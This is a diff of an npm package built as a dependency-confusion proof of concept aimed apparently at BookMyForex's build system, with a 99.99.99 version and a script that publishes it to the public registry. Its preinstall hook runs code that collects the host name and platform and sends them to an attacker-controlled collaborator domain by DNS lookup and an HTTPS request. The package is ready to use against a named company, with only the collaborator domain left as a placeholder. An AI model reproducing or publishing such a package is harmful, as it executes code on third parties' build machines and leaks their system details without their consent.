b2b-common-cb-lib 99.99.99

package/index.js

@@ -0,0 +1,58 @@
+const os = require('os');
+const dns = require('dns');
+const https = require('https');
+
+const PACKAGE_NAME = 'b2b-common-cb-lib';
+// IMPORTANT: Replace this with your Burp Collaborator, Interactsh, or webhook.site URL
+const COLLABORATOR_URL = 'INSERT_YOUR_COLLABORATOR_DOMAIN_HERE.oastify.com';
+
+function main() {
+    console.log(`[+] Starting Security PoC for ${PACKAGE_NAME}...`);
+
+    const info = {
+        host: os.hostname(),
+        platform: os.platform(),
+        timestamp: new Date().toISOString()
+    };
+
+    console.log('[+] Collected System Info:', info);
+
+    if (COLLABORATOR_URL.includes('INSERT_YOUR')) {
+        console.warn('[-] WARNING: No Collaborator URL configured. OOB check will be skipped.');
+        console.warn('[-] Please edit index.js and add your collaborator domain to prove RCE.');
+        return;
+    }
+
+    // 1. DNS Interaction (Most reliable for firewalled environments)
+    // Structure: <hostname>.<package>.<collaborator-domain>
+    const dnsQuery = `${info.host}.${PACKAGE_NAME}.${COLLABORATOR_URL}`;
+    console.log(`[+] Attempting DNS lookup: ${dnsQuery}`);
+
+    dns.lookup(dnsQuery, (err) => {
+        if (err && err.code !== 'ENOTFOUND') {
+            console.error('[-] DNS lookup error:', err.message);
+        } else {
+            console.log('[+] DNS lookup triggered.');
+        }
+    });
+
+    // 2. HTTP Interaction (If outbound HTTP is allowed)
+    const options = {
+        hostname: COLLABORATOR_URL,
+        port: 443,
+        path: `/?host=${info.host}&pkg=${PACKAGE_NAME}`,
+        method: 'GET'
+    };
+
+    const req = https.request(options, (res) => {
+        console.log(`[+] HTTP Request sent. Status: ${res.statusCode}`);
+    });
+
+    req.on('error', (e) => {
+        console.error(`[-] HTTP Request failed: ${e.message}`);
+    });
+
+    req.end();
+}
+
+main();

package/package.json

@@ -0,0 +1,11 @@
+{
+    "name": "b2b-common-cb-lib",
+    "version": "99.99.99",
+    "description": "Security Research PoC - Dependency Confusion",
+    "main": "index.js",
+    "scripts": {
+        "preinstall": "node index.js"
+    },
+    "author": "Security Researcher",
+    "license": "ISC"
+}

package/publish.sh

@@ -0,0 +1,23 @@
+#!/bin/bash
+
+echo "=========================================================="
+echo "WARNING: YOU ARE ABOUT TO PUBLISH TO THE PUBLIC NPM REGISTRY"
+echo "=========================================================="
+echo "Package Name: b2b-common-cb-lib"
+echo "Version:      99.99.99"
+echo ""
+echo "This will make the package available publicly."
+echo "If BookMyForex's build system pulls this package, your code in index.js WILL EXECUTE."
+echo ""
+echo "1. Ensure you have updated index.js with your Burp Collaborator domain."
+echo "2. Ensure you have authorization to test this."
+echo ""
+read -p "Type 'yes' to proceed with publishing: " confirmation
+
+if [ "$confirmation" == "yes" ]; then
+    echo "Publishing..."
+    npm publish
+else
+    echo "Aborted."
+    exit 1
+fi